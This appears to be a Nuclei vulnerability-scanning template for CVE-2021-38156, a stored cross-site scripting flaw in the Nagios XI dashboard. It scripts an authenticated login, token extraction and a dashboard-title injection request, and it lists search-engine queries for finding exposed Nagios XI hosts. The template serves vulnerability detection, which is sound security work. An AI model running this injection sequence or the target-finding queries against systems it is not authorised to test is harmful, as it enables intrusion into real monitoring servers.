id: CVE-2021-38156
info:
name: Nagios XI < 5.8.6 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
reference:
- https://raxis.com/blog/cve-2021-38156/
- https://nvd.nist.gov/vuln/detail/CVE-2021-38156
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-38156
cwe-id: CWE-79
epss-score: 0.07062
epss-percentile: 0.94141
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
max-request: 5
verified: true
vendor: nagios
product: nagios_xi
shodan-query: http.title:"nagios xi"
fofa-query: app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve,cve2021,nagios,nagiosxi,xss,authenticated
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
- |
GET /nagiosxi/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/ajaxhelper.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
cmd=updatedashboard&id=home&opts=&title=">&background=&transparent=0&submitButton=Submit&nsp={{nsp_auth}}
- |
GET /nagiosxi/dashboards/manage.php HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body_5
words:
- 'data-title="">'
- type: word
part: header_5
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: nsp
part: body
group: 1
regex:
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
internal: true
- type: regex
name: nsp_auth
part: body
group: 1
regex:
- "var nsp_str = ['\"](.*)['\"];"
internal: true
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